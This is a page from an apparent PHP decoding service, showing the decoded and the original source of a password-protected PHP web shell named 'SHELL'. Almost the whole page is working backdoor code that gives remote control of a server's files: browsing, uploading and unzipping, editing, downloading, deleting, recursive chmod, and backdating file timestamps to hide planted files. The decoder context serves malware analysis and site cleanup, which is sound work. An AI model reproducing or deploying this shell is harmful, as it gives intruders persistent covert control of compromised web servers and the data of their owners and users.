Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php header('Content-Type: text/html; charset=utf-8');ob_start();session_start();$c="./"..
Decoded Output download
<?php
header('Content-Type: text/html; charset=utf-8');ob_start();session_start();$c="./";$e='SHELL';$f='toberaja';$g=(DIRECTORY_SEPARATOR=='\')?"windows":'linux';if(isset($_REQUEST['op'])){$h=$_REQUEST['op'];}else{$h='home';}if(isset($_REQ
UEST['folder'])){$j=$_REQUEST['folder'];}else{$j=str_replace("\","/",dirname(__FILE__));}$k=str_split($j);if($k[count($k)-1]!=='/'){$j.='/';}while(preg_match('/\.\.\//',$j))$j=preg_replace('/\.\.\//','/',$j);while(preg_match('/\/\//',$j))$j=pre
g_replace('/\/\//','/',$j);if($j==''){$j=$c;}elseif($c!=''){if(!@ereg($c,$j)){$j=$c;}}$l=$j;if(@$_COOKIE['pass']!=md5($f)){if(@$_REQUEST['pass']==$f){setcookie('pass',md5($f),time()+60*60*24*1);}else{if(@$_REQUEST['pass'])$m=true;login(@$m);}}fu
nction maintop($n,$o=true){global $g,$p,$q,$e,$r,$s,$t,$w,$x,$f,$y,$z,$aa;echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html>
<head>
"."<title>$e - $n</tit
le>
"."</head>
"."<body>
"."<style>
*{font-family:'Open Sans','Microsoft Yahei' !important;}.box{border:1px solid #ccc;background-color:#fff;padding:10px;}.title{border:1px solid #ccc;border-bottom:0;font-weight:normal !important;text-align:
left !important;width:1000px;padding:10px;font-size:13px;color:#666;background-color:#F0F0F0;}.right{float:right;text-align:right !important;}.content{width:1000px;margin:auto;overflow:hidden;font-size:13px;}.login_button{margin:0 !important;hei
ght:46px;vertical-align:middle;font-size:22px !important;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=hIEfix.png,sizingMethod=crop);}.login_text{vertical-align:middle;padding:7px;width:40%;font-size:22px;border:1px #ccc solid;}i
nput[type=text]:focus,input[type=password]:hover{outline:#aaa solid 1px;background-color:#f8f8f8;}input[type=text]:hover,input[type=password]:hover,input[type=password]:active{outline:#aaa solid 1px;background-color:#f8f8f8;}h2{-webkit-font-smoo
thing:antialiased;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=hIEfix.png,sizingMethod=crop);text-align:center;margin:16px 0;font-size:48px;font-family:simHei,'Microsoft Yahei' !important;}.tips{overflow:auto;margin:6px 0}span{m
argin-bottom:8px;}a:visited{color:#333;text-decoration:none;}a:hover{color:#999;text-decoration:none;}a:link{color:#333;text-decoration:none;}a:active{color:#999;text-decoration:none;}textarea{outline:none;font-family:'Yahei Consolas Hybrid',Con
solas,Verdana,Tahoma,Arial,Helvetica,'Microsoft Yahei',sans-serif !important;font-size:13px;border:1px solid #ccc;margin-top:-1px;padding:8px;line-height:18px;width:982px;max-width:982px;}input.button{outline:none;border-top:1px solid #ccc;borde
r-right:1px solid #ccc;border-left:1px solid #ccc;background-color:#ffffff;border-bottom:2px solid #ccc;*display:inline;text-align:center !important;color:#333 !important;text-decoration:none !important;padding:3px 10px;font-size:13px;margin-top
:10px}input.button:hover{background-color:#f8f8f8;}input.text,select,option,.upload{border:1px solid #ccc;margin:6px 1px;padding:5px;font-size:13px;height:16px;}body{background-color:#fff;margin:0px 0px 10px;}.title{font-weight:bold;FONT-SIZE:12
px;text-align:center;}.error{font-size:10pt;color:#AA2222;text-align:left}.menu{margin-top:50px;position:fixed;font-size:13px;padding:5px;}.menu li{list-style-type:square;margin-bottom:8px;}.menu a{text-decoration:none;}.menu a:hover{color:#7070
70;}.table{background-color:#777;color:#fff;}th{text-align:left;height:40px;line-height:40px;border-bottom:3px solid #dbdbdb;font-size:14px;background-color:#f8f8f8 !important;}table{border:1px solid #ccc;}tr{height:31px;font-size:13px;}tr:hover
{background-color:#f5f5f5;}td{border-bottom:1px solid #ededed;}.upload{width:375px;}
</style>
";if(@$_REQUEST['op']!=='home'){$bb="<li><a href=\"".$p."?op=home&folder=".@$_SESSION['folder']."\"></a></li>
";}else{$bb='';}if($o){ech
o "<div class=\"menu\">
"."<ul><li><a href=\"".$p."?op=home\"></a></li>
".$bb."<li><a href=\"".$p."?op=up\"></a></li>
"."<li><a href=\"".$p."?op=cr\"></a></li>
"."</ul></div>";}echo"<h2>$e</h2>
";echo "<div class='co
ntent'>
";}function login($m=false){global $p,$h;setcookie("pass","",time()-60*60*24*1);maintop("",false);echo "<span class=error></span><br>
";echo "<form action=\"".$p."?op=".$h."\" method=\"post\">
"."<input type=\"password\" nam
e=\"pass\" border=\"0\" class=\"login_text\" value=\"".@$f."\" placeholder=\"\">
"."<input type=\"submit\" name=\"submitButtonName\" value=\"ENTER\" border=\"0\" class=\"login_button button\">
"."</form>
";mainbottom();}function tra
nslatePermi($cc){if(($cc&0xC000)==0xC000){$dd='s';}elseif(($cc&0xA000)==0xA000){$dd='l';}elseif(($cc&0x8000)==0x8000){$dd='-';}elseif(($cc&0x6000)==0x6000){$dd='b';}elseif(($cc&0x4000)==0x4000){$dd='d';}elseif(($cc&0x2000)==0x2000){$dd='c';}else
if(($cc&0x1000)==0x1000){$dd='p';}else{$dd='u';}$dd.=(($cc&0x0100)?'r':'-');$dd.=(($cc&0x0080)?'w':'-');$dd.=(($cc&0x0040)?(($cc&0x0800)?'s':'x'):(($cc&0x0800)?'S':'-'));$dd.=(($cc&0x0020)?'r':'-');$dd.=(($cc&0x0010)?'w':'-');$dd.=(($cc&0x0008)?
(($cc&0x0400)?'s':'x'):(($cc&0x0400)?'S':'-'));$dd.=(($cc&0x0004)?'r':'-');$dd.=(($cc&0x0002)?'w':'-');$dd.=(($cc&0x0001)?(($cc&0x0200)?'t':'x'):(($cc&0x0200)?'T':'-'));return $dd;}function home(){global $g,$p,$j,$l,$c,$ee;maintop("");ec
ho "<table border=\"0\" cellpadding=\"2\" cellspacing=\"0\" width=100% class='mytable'><form method='post'>
";$ff="";$gg="";$hh="0";$j=iconv("UTF-8","GBK",$j);$ii=opendir($j);$jj=1;$kk=1;if($j){$_SESSION['folder']=$l;}while($ll=readdir($ii)){$m
m=$j;$nn=$ll;if($g!=='windows'):$oo="<td>".translatePermi(fileperms($mm.$nn))."</td>";else:$oo='';endif;if($ll!=="."&&$ll!==".."){if(is_dir($j.$ll)){$ll=iconv("GBK","UTF-8",$ll);$j=iconv("GBK","UTF-8",$j);$pp=@filectime($j.$ll);$qq=($pp>14200452
61)?'style="color:red;"':'';$rr=@filemtime($j.$ll);$ss=($rr>1420045261)?'style="color:red;"':'';$ff[$jj]="<tr width=100% ><td><input name='select_item[d][$ll]' type='checkbox' id='$ll' onclick='One($ll)' class=\"checkbox\" value='".$j.$ll."' /><
/td>
"."<td><a href=\"".$p."?op=home&folder=".$j.$ll."/\">[".$ll."]</a></td>
"."<td ".$ss.">".date("Y-m-d H:i:s",$rr)."</td>
"."<td ".$qq.">".date("Y-m-d H:i:s",$pp)."</td>
"."<td></td>
"."<td><a href=\"".$p."?op=home&folder=".htmlspe
cialchars($j.$ll)."/\"></a></td>
"."<td><a href=\"".$p."?op=ren&file=".htmlspecialchars($ll)."&folder=$j\"></a></td>
"."<td> </td>
".$oo."</tr>
";$jj++;$j=iconv("UTF-8","GBK",$j);}else{$k=explode('.',$j.$ll);$k=end($k);$ll=@iconv("
GBK","UTF-8",$ll);$j=@iconv("GBK","UTF-8",$j);$tt="/".str_replace($_SERVER["DOCUMENT_ROOT"],"",$j.$ll);$tt=str_replace("//","/",$tt);$pp=@filectime($l.$nn);$rr=@filemtime($l.$nn);$qq=($pp>1420045261)?'style="color:red;"':'';$ss=($rr>1420045261)?
'style="color:red;"':'';$gg[$kk]="<tr width=100%><td><input name='select_item[f][$ll]' type='checkbox' id='$ll' class=\"checkbox\" value='".$j.$ll."' /></td>
"."<td><a href=\"".$tt."\" target='_blank'>".$ll."</a></td>
"."<td ".$ss.">".date("Y-
m-d H:i:s",$rr)."</td>
"."<td ".$qq.">".date("Y-m-d H:i:s",$pp)."</td>
"."<td>".Size(filesize($l.$nn))."</td>"."<td><a href=\"".$p."?op=edit&fename=".htmlspecialchars($ll)."&folder=$j\"></a></td>
"."<td><a href=\"".$p."?op=ren&file=".html
specialchars($ll)."&folder=$j\"></a></td>
"."<td><a href=\"".$p."?op=download&fename=".htmlspecialchars($ll)."&folder=$j\"></a></td>
".$oo."</tr>
";$kk++;$j=iconv("UTF-8","GBK",$j);}$hh++;}}closedir($ii);$uu=explode('/',$l);array_po
p($uu);$vv='';$ww=array();echo '<div class="title">';foreach($uu as $xx){$vv=$vv.$xx.'/';$ww[]=$vv;echo '<a href="'.$p.'?op=home&folder='.$vv.'">'.$xx.'</a> >> ';}echo "
"."<span class='right' style='padding-right: 30px;'> ".$hh."
".date('Y-m-d H:i:s')."</span></div>"."<div style=\"position:fixed;bottom:0;margin-left:3px;\"><input type=\"checkbox\" id=\"check\" onclick=\"Check()\"> <input type=\"text\" class=\"text\" stlye=\"vertical-align:text-top;\" size=
\"17\" id=\"newTime\" name=\"newTime\" value=\"2012-06-12 14:20:30\"> <input class='button' name='action' type='submit' value='' /> <input class='button' name='action' type='submit' onclick=\"return confirm('?')\"
value='' /> <input type=\"text\" class=\"text\" stlye=\"vertical-align:text-top;\" size=\"3\" id=\"chmod\" name=\"chmod\" value=\"0755\"> <input class='button' name='action' type='submit' onclick=\"var t=document.getElementById('chmod').val
ue;return confirm(''+t+'')\" value='' /></div>";if($g!=='windows'):$oo="<th width='69px'></th>
";else:$oo='';endif;echo "<tr class='headtable' width=100%>"."<script>functio
n Check() {
var collid = document.getElementById(\"check\")
var coll = document.getElementsByTagName('input')
if (collid.checked){
for(var i = 0; i < coll.length; i++)
coll[i].checked = true;
}else{
for(var i = 0; i < coll.length; i++)
coll[i].checked = false;
}
}</script>"."<th width=20></th>
"."<th></th>
"."<th width='165px'></th>
"."<th width='165px'></th>
"."<th width='65px'></th>
"."<th width='45px'></th>
"."<th width='55px'></th>
"."<th width='40
px'></th>
".$oo."</tr>";if($l!=="./"){$hh=substr_count($l,"/");$yy=explode('/',$l);$zz=1;$bb=".";while($zz<$hh-1){$bb=$bb."/".$yy[$zz];$zz++;}if($g=='windows'):$oo="";else:$oo="<td></td>";endif;if(count($ww)>2){echo "<tr width=100%><td></td
><td><a href=\"".$p."?op=home&folder=".$ww[count($ww)-2]."\"></a></td><td></td><td></td><td></td><td></td>$oo</tr>";}else{echo "<tr width=100%><td></td><td><a href=\"".$p."?op=home&folder=".$ww[0]."\"></a></td><td></td><td></td><
td></td><td></td>$oo</tr>";}}for($jj=1;$jj<count($ff)+1;$jj++){if(empty($ff)){}else{echo@$ff[$jj];}}for($kk=1;$kk<count($gg)+1;$kk++){echo@$gg[$kk];}echo "</table></form>";mainbottom();}function Size($aaa){if($aaa<1024){$bbb=$aaa."b";}elseif($aa
a>1024and $aaa<1024*1024){$ccc=round($aaa/1024,1);$bbb=$ccc."k";}elseif($aaa>1024*1024and $aaa<1024*1024*1024){$ccc=round($aaa/1024/1024,1);$bbb=$ccc."M";}elseif($aaa>1024*1024*1024and $aaa<1024*1024*1024*1024){$ccc=round($aaa/1024/1024/1024,1);
$bbb=$ccc."G";}elseif($aaa>1024*1024*1024*1024){$ccc=round($aaa/1024/1024/1024/1024,1);$bbb=$ccc."T";}return $bbb;}function up(){global $p,$j,$ddd,$c;maintop("");echo "<FORM ENCTYPE=\"multipart/form-data\" ACTION=\"".$p."?op=upload\" METHOD=
\"POST\">
"."<div class=\"title\"></div><div class=\"box\">".ini_get('upload_max_filesize')."".ini_get('max_file_uploads')."<br><input type=\"File\" name=\"upfile[]\" multiple si
ze=\"20\">
"."<input type=\"text\" name=\"ndir\" value=\"".$_SESSION["folder"]."\" class=\"upload\">
";echo $ddd."</select></div>"."<div><input hidden=\"true\" type=\"checkbox\" name=\"unzip\" id=\"unzip\" value=\"checkbox\" onclick=\"UpCheck(
)\"> "."<input hidden=\"true\" type=\"checkbox\" name=\"delzip\" id=\"deluzip\"value=\"checkbox\"><label for=\"deluzip\"></labal> "."<input type=\"submit\" value=\"\" class=\"left button\"></div><br><br><br>
"."<script>function UpCheck(){if
(document.getElementById(\"unzip\").checked){document.getElementById(\"deluzip\").disabled=false}else{document.getElementById(\"deluzip\").disabled=true}}</script>"."</form>
";mainbottom();}function upload($eee,$fff,$ggg,$hhh){global $p,$j;if(e
mpty($fff)){$fff="./";}$iii=$j;$jjj=$fff;$fff=iconv("UTF-8","GBK",$fff);if(!$eee){printerror("");exit;}elseif($eee){maintop("");if(!file_exists($fff)){mkdir($fff,0755);}$zz=1;echo '<div class="box">';while(count($eee['name'])
>=$zz){$kkk=iconv("UTF-8","GBK",$jjj.$eee['name'][$zz-1]);if(@copy($eee['tmp_name'][$zz-1],$kkk)){echo " ".$jjj.$eee['name'][$zz-1]."
<br>";$lll=explode('.',$eee['name'][$zz-1]);if((end($lll)=="zip"||end($lll)=="tar"||end($lll)=="t
ar.gz"||end($lll)=="gzip"||end($lll)=="gz")&&isset($ggg)&&$ggg=="checkbox"){if(class_exists('ZipArchive')){$mmm=new ZipArchive();if($mmm->open($kkk)===TRUE){if($mmm->extractTo($fff)){for($zz=0;$zz<$mmm->numFiles;$zz++){echo $mmm->getNameIndex($z
z).'<br>';}$mmm->close();}echo $eee['name'][$zz-1]." $jjj<br>";if(isset($hhh)&&$hhh=="checkbox"){if(unlink($kkk.$eee['name'][$zz-1])){echo $eee['name'][$zz-1]." <br>";}else{echo $eee['name'][$zz-1].("<span class=\"error\">
</span><br>");}}}else{echo("<span class=\"error\">".$jjj.$eee['name'][$zz-1]."</span><br>");}}else{echo("<span class=\"error\">PHPZipArchive</span><br>");}}}else{echo("<span class=\"error\"
> ".$eee['name'][$zz-1]." </span><br>");}$zz++;}echo " <a href=\"".$p."?op=home&folder=".$fff."\"></a> <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a> <a href=\""
.$p."?op=up\"></a>
";echo '</div>';mainbottom();}else{printerror("");}}function deltree($nnn){if(is_empty_dir($nnn)){rmdir($nnn);}else{$ooo=dir($nnn);while($jj=$ooo->read()){if(is_file($nnn.'/'.$jj)&&($jj!='.')&&($jj
!='..')){unlink($nnn.'/'.$jj);}if(is_dir($nnn.'/'.$jj)&&($jj!='.')&&($jj!='..')){if(!is_empty_dir($nnn.'/'.$jj)){deltree($nnn.'/'.$jj);}if(is_empty_dir($nnn.'/'.$jj)){rmdir($nnn.'/'.$jj);}}}$ooo->close();}}function is_empty_dir($nnn){$ooo=opendi
r($nnn);$zz=0;while($jj=readdir($ooo)){$zz++;}closedir($ooo);if($zz>2){return false;}else return true;}function edit($ppp){global $p,$j;$qqq=iconv("UTF-8","GBK",$j.$ppp);if(file_exists($j.$ppp)){maintop("");echo "<div class=\"title\">
".$j.$ppp."</div>";$rrr=file_get_contents($qqq);if(function_exists('mb_detect_encoding')){$sss=mb_detect_encoding($rrr);}else{$sss='UTF-8';}if($sss!=="UTF-8"&&!empty($sss)){$rrr=iconv("UTF-8",$sss."//IGNORE",$rrr);}echo "<form action=\"".$p."
?op=save&encode=".$sss."\" method=\"post\">
"."<textarea rows=\"24\" name=\"ncontent\">";echo htmlspecialchars($rrr);echo "</textarea>"."<br>
"."<input type=\"hidden\" name=\"folder\" value=\"".$j."\">
"."<input type=\"hidden\" name=\"fename\
" value=\"".$ppp."\">
"."<input type=\"submit\" value=\"\" class=\"left button\">
"."</form>
";mainbottom();}else{home();}}function save($ttt,$ppp,$sss){global $p,$j;if(!$ppp==""){maintop("");$qqq=iconv("UTF-8","GBK",$j.$ppp);$uuu=htm
lspecialchars_decode($ttt);if($sss!=="UTF-8"&&$sss!=="ASCII"){$uuu=iconv($sss."//IGNORE","UTF-8",$uuu);}if(file_put_contents($qqq,$uuu)){echo "<div class='box'> <a href=\"".$j.$ppp."\" target=\"_blank\">".$j.$ppp."</a>
"."
<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a> <a href=\"".$p."?op=edit&fename=".$ppp."&folder=".$j."\"></a></div>
";$vvv=null;}else{echo "<span class='error'></span>
"." <a href=\
"".$p."?op=home&folder=".$_SESSION['folder']."\"></a>
";}mainbottom();}else{home();}}function cr(){global $p,$j,$ddd,$c;maintop("");if(!$ddd==""){echo "
";}echo "<form action=\"".$p."?op=create\" method=\"
post\">
"."<div class='title'>/</div><div class='box'><label for=\"nfname\"></label><br><input style=\"width:98%\" type=\"text\" size=\"20\" id=\"nfname\" name=\"nfname\" class=\"text\"><br>
"."<label for=\"ndir\">
</label><br><input style=\"width:98%\" type=\"text\" class=\"text\" id=\"ndir\" name=\"ndir\" value=\"".$_SESSION['folder']."\">";echo "<br><select name=\"isfolder\" style=\"height:30px;padding:3px;\"><option value=\"0\"></option>
"."<o
ption value=\"1\"></option></select>
"."</div><input type=\"hidden\" name=\"folder\" value=\"$j\">
"."<input type=\"submit\" value=\"\" class=\"left button\">
"."</form>
";mainbottom();}function create($www,$xxx,$fff){global $p,$j;
$yyy=date('Y-m-d H:i:s',mktime(9,12,31,6,10,2011));$zzz=strtotime($yyy);if(!$www==""){maintop("");echo '<div class="box">';$fff=iconv("UTF-8","GBK",$fff);$www=iconv("UTF-8","GBK",$www);if($xxx==1){if(@mkdir($fff."/".$www,0755)){$fff=iconv("G
BK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);@touch($fff."/".$www,$zzz,$zzz);echo "<a href=\"".$p."?op=home&folder=./".$www."/\">".$fff.$www."/</a>
"." <a href=\"".$p."?op=home&folder=".$fff.$www."/\">
</a> <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a>
";}else{$fff=iconv("GBK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);echo "<span class='error'>".$fff."".$www."
</span> <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\"></a>
";}}else{if(@fopen($fff."/".$www,"w")){$fff=iconv("GBK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);@touch($
fff."/".$www,$zzz,$zzz);echo ", <a href=\"".$p."?op=viewframe&file=".$www."&folder=$fff\">".$fff.$www."</a>
"."<br><a href=\"".$p."?op=edit&fename=".$www."&folder=".$fff."\"></a> <a href=\"".$p."?op=home&fo
lder=".$_SESSION['folder']."\"></a>
";}else{$fff=iconv("GBK","UTF-8",$fff);$www=iconv("GBK","UTF-8",$www);echo "<span class='error'> ".$fff.$www."
</span> <a onclick=\"history.go(-1);\" style=\"cursor:pointer\"></a>
";}}echo "</box>";mainbottom();}else{cr();}}function ren($qqq){global $p,$j,$l;$aaaa=$qqq;if(!$qqq==""){maintop("");echo "<form action=\"".$p."?op=rename\"
method=\"post\">
"."<div class=\"title\"> ".$l.$aaaa.'</div>';echo "<div class=\"box\"><input type=\"hidden\" name=\"rename\" value=\"".$aaaa."\">
"."<input type=\"hidden\" name=\"folder\" value=\"".$l."\">
"."<input class=\"
text\" type=\"text\" size=\"20\" name=\"nrename\" value=\"$aaaa\"></div>
"."<input type=\"Submit\" value=\"\" class=\"right button\"></form>
";mainbottom();}else{home();}}function renam($bbbb,$cccc,$j){global $p,$j;if(!$bbbb==""){$dddd=i
conv("UTF-8","GBK","$j".$bbbb);$eeee=iconv("UTF-8","GBK","$j".$cccc);if(rename($dddd,$eeee)){maintop("");echo "<div class='box'> ".$j.$bbbb." ".$j.$cccc."</a>
"." <a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">
</a></div>
";mainbottom();}else{printerror("");}}else{home();}}function fileDownload($ppp){global $j;$qqq=iconv("UTF-8","GBK",htmlspecialchars_decode($j.$ppp));if(file_exists($qqq)){if(@is_file($qqq)&&@is_readabl
e($qqq)){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=".basename($qqq));header("Content-Type: application/octet-stream");$vvv=@fopen($qqq,"r");if($vvv){while(!@feof($vvv))echo@fread($vvv,1024);fclose($vvv);}}ex
it;}}function mainbottom(){echo "</div><div style='text-align:center;font-size:13px;color:#999 !important;margin-top:5px;margin-bottom:45px'>"."Shell 1.0.1</div></body>
"."</html>
";exit;}function printerror($ffff){maintop("");echo "<div c
lass='title'></div><div class='box'><span class='error'>
".$ffff."
</span> <a onclick=\"history.go(-1);\" style=\"cursor:pointer\"></a></div>";}function deleteall($gggg){if(!$gggg==""){$hhhh=$gggg;$gggg=iconv("UTF-8","G
BK",$gggg);if(is_dir($gggg)){if(is_empty_dir($gggg)){rmdir($gggg);echo "<span>".$hhhh." </span><br>";}else{deltree($gggg);rmdir($gggg);echo "<span>".$hhhh." </span><br>";}}else{if(@unlink($gggg)){echo '<span>'.$hhhh."
</span><br>";}else{echo("<span class='error'>$hhhh </span><br>");}}}}if(@$_POST['action']==''){if(isset($_POST['select_item'])){maintop("");echo '<div class="box">';if(@$_POST['select_item']['d']){fo
reach($_POST['select_item']['d']as $iiii){deleteall($iiii);}}if(@$_POST['select_item']['f']){foreach($_POST['select_item']['f']as $iiii){if(deleteall($iiii)){}}}echo "<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">
</a>
";echo '</div>';mainbottom();}else{printerror("");}}if(@$_POST['action']==''){if(isset($_POST['select_item'])){maintop("");echo '<div class="box">';$jjjj=@strtotime($_REQUEST['newTime']);function changeTime($q
qq,$jjjj){touch($qqq,$jjjj,$jjjj);}if(@$_POST['select_item']['d']){foreach($_POST['select_item']['d']as $iiii){$www=iconv("UTF-8","GBK",$iiii);changeTime($www,$jjjj);}}if(@$_POST['select_item']['f']){foreach($_POST['select_item']['f']as $iiii){$
www=iconv("UTF-8","GBK",$iiii);changeTime($www,$jjjj);}}echo "<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">,</a>
";echo "</div>";mainbottom();}else{printerror("");}}if($g!=='windows'):if(@$
_POST['action']==''){if(isset($_POST['select_item'])){maintop("");echo '<div class="box">';$kkkk=octdec($_REQUEST['chmod']);function ChmodMine($qqq,$kkkk){$llll=$qqq;$qqq=iconv("UTF-8","GBK",$qqq);if(is_file($qqq)){if(@chmod($qqq,$kk
kk)){echo $llll.' <br>';}else{echo '<span class="error">'.$llll.' </span><br>';}}elseif(is_dir($qqq)){if(@chmod($qqq,$kkkk)){echo $llll.' <br>';}else{echo '<span class="error">'.$llll.' </span><br>
';}$mmmm=@scandir($qqq);$nnnn=@array_slice($mmmm,2);foreach($nnnn as $oooo){$pppp=iconv("GBK","UTF-8",$oooo);ChmodMine($llll.'/'.$pppp,$kkkk);}}else{echo '<span class="error">'.$llll.' </span><br>';}}if(@$_POST['select_item']['d']){f
oreach($_POST['select_item']['d']as $iiii){ChmodMine($iiii,$kkkk);}}if(@$_POST['select_item']['f']){foreach($_POST['select_item']['f']as $iiii){ChmodMine($iiii,$kkkk);}}echo "<a href=\"".$p."?op=home&folder=".$_SESSION['folder']."\">
</a>
";echo "</div>";mainbottom();}else{printerror("");}}endif;switch($h){case "home":home();break;case "up":up();break;case "upload":if(!isset($_FILES['upfile'])){printerror('');}elseif(isset($_REQUEST[
'ndir'])){upload($_FILES['upfile'],$_REQUEST['ndir'],@$_REQUEST['unzip'],@$_REQUEST['delzip']);}else{upload($_FILES['upfile'],'./',@$_REQUEST['unzip'],@$_REQUEST['delzip']);}break;case "edit":edit($_REQUEST['fename']);break;case "save":save($_
REQUEST['ncontent'],$_REQUEST['fename'],$_REQUEST['encode']);break;case "cr":cr();break;case "download":fileDownload($_REQUEST['fename']);break;case "create":create($_REQUEST['nfname'],$_REQUEST['isfolder'],$_REQUEST['ndir']);break;case "ren
":ren($_REQUEST['file']);break;case "rename":renam($_REQUEST['rename'],$_REQUEST['nrename'],$j);break;case "printerror":printerror($ffff);break;default:home();break;}?>
Did this file decode correctly?
Original Code
<?php
header('Content-Type: text/html; charset=utf-8');ob_start();session_start();$c="./";$e='SHELL';$f='toberaja';$g=(DIRECTORY_SEPARATOR=='\\')?"windows":'linux';if(isset($_REQUEST['op'])){$h=$_REQUEST['op'];}else{$h='home';}if(isset($_REQ
UEST['folder'])){$j=$_REQUEST['folder'];}else{$j=str_replace("\\","/",dirname(__FILE__));}$k=str_split($j);if($k[count($k)-1]!=='/'){$j.='/';}while(preg_match('/\.\.\//',$j))$j=preg_replace('/\.\.\//','/',$j);while(preg_match('/\/\//',$j))$j=pre
g_replace('/\/\//','/',$j);if($j==''){$j=$c;}elseif($c!=''){if(!@ereg($c,$j)){$j=$c;}}$l=$j;if(@$_COOKIE['pass']!=md5($f)){if(@$_REQUEST['pass']==$f){setcookie('pass',md5($f),time()+60*60*24*1);}else{if(@$_REQUEST['pass'])$m=true;login(@$m);}}fu
nction maintop($n,$o=true){global $g,$p,$q,$e,$r,$s,$t,$w,$x,$f,$y,$z,$aa;echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html>\n<head>\n"."<title>$e - $n</tit
le>\n"."</head>\n"."<body>\n"."<style>\n*{font-family:'Open Sans','Microsoft Yahei' !important;}.box{border:1px solid #ccc;background-color:#fff;padding:10px;}.title{border:1px solid #ccc;border-bottom:0;font-weight:normal !important;text-align:
left !important;width:1000px;padding:10px;font-size:13px;color:#666;background-color:#F0F0F0;}.right{float:right;text-align:right !important;}.content{width:1000px;margin:auto;overflow:hidden;font-size:13px;}.login_button{margin:0 !important;hei
ght:46px;vertical-align:middle;font-size:22px !important;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=hIEfix.png,sizingMethod=crop);}.login_text{vertical-align:middle;padding:7px;width:40%;font-size:22px;border:1px #ccc solid;}i
nput[type=text]:focus,input[type=password]:hover{outline:#aaa solid 1px;background-color:#f8f8f8;}input[type=text]:hover,input[type=password]:hover,input[type=password]:active{outline:#aaa solid 1px;background-color:#f8f8f8;}h2{-webkit-font-smoo
thing:antialiased;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=hIEfix.png,sizingMethod=crop);text-align:center;margin:16px 0;font-size:48px;font-family:simHei,'Microsoft Yahei' !important;}.tips{overflow:auto;margin:6px 0}span{m
argin-bottom:8px;}a:visited{color:#333;text-decoration:none;}a:hover{color:#999;text-decoration:none;}a:link{color:#333;text-decoration:none;}a:active{color:#999;text-decoration:none;}textarea{outline:none;font-family:'Yahei Consolas Hybrid',Con
solas,Verdana,Tahoma,Arial,Helvetica,'Microsoft Yahei',sans-serif !important;font-size:13px;border:1px solid #ccc;margin-top:-1px;padding:8px;line-height:18px;width:982px;max-width:982px;}input.button{outline:none;border-top:1px solid #ccc;borde
r-right:1px solid #ccc;border-left:1px solid #ccc;background-color:#ffffff;border-bottom:2px solid #ccc;*display:inline;text-align:center !important;color:#333 !important;text-decoration:none !important;padding:3px 10px;font-size:13px;margin-top
:10px}input.button:hover{background-color:#f8f8f8;}input.text,select,option,.upload{border:1px solid #ccc;margin:6px 1px;padding:5px;font-size:13px;height:16px;}body{background-color:#fff;margin:0px 0px 10px;}.title{font-weight:bold;FONT-SIZE:12
px;text-align:center;}.error{font-size:10pt;color:#AA2222;text-align:left}.menu{margin-top:50px;position:fixed;font-size:13px;padding:5px;}.menu li{list-style-type:square;margin-bottom:8px;}.menu a{text-decoration:none;}.menu a:hover{color:#7070
70;}.table{background-color:#777;color:#fff;}th{text-align:left;height:40px;line-height:40px;border-bottom:3px solid #dbdbdb;font-size:14px;background-color:#f8f8f8 !important;}table{border:1px solid #ccc;}tr{height:31px;font-size:13px;}tr:hover
{background-color:#f5f5f5;}td{border-bottom:1px solid #ededed;}.upload{width:375px;}\n</style>\n";if(@$_REQUEST['op']!=='home'){$bb="<li><a href=\"".$p."?op=home&folder=".@$_SESSION['folder']."\"></a></li>\n";}else{$bb='';}if($o){ech
o "<div class=\"menu\">\n"."<ul><li><a href=\"".$p."?op=home\"></a></li>\n".$bb."<li><a href=\"".$p."?op=up\"></a></li>\n"."<li><a href=\"".$p."?op=cr\"></a></li>\n"."</ul></div>";}echo"<h2>$e</h2>\n";echo "<div class='co
ntent'>\n";}function login($m=false){global $p,$h;setcookie("pass","",time()-60*60*24*1);maintop("",false);echo "<span class=error></span><br>\n";echo "<form action=\"".$p."?op=".$h."\" method=\"post\">\n"."<input type=\"password\" nam
e=\"pass\" border=\"0\" class=\"login_text\" value=\"".@$f."\" placeholder=\"\">\n"."<input type=\"submit\" name=\"submitButtonName\" value=\"ENTER\" border=\"0\" class=\"login_button button\">\n"."</form>\n";mainbottom();}function tra
nslatePermi($cc){if(($cc&0xC000)==0xC000){$dd='s';}elseif(($cc&0xA000)==0xA000){$dd='l';}elseif(($cc&0x8000)==0x8000){$dd='-';}elseif(($cc&0x6000)==0x6000){$dd='b';}elseif(($cc&0x4000)==0x4000){$dd='d';}elseif(($cc&0x2000)==0x2000){$dd='c';}else
if(($cc&0x1000)==0x1000){$dd='p';}else{$dd='u';}$dd.=(($cc&0x0100)?'r':'-');$dd.=(($cc&0x0080)?'w':'-');$dd.=(($cc&0x0040)?(($cc&0x0800)?'s':'x'):(($cc&0x0800)?'S':'-'));$dd.=(($cc&0x0020)?'r':'-');$dd.=(($cc&0x0010)?'w':'-');$dd.=(($cc&0x0008)?
(($cc&0x0400)?'s':'x'):(($cc&0x0400)?'S':'-'));$dd.=(($cc&0x0004)?'r':'-');$dd.=(($cc&0x0002)?'w':'-');$dd.=(($cc&0x0001)?(($cc&0x0200)?'t':'x'):(($cc&0x0200)?'T':'-'));return $dd;}function home(){global $g,$p,$j,$l,$c,$ee;maintop("");ec
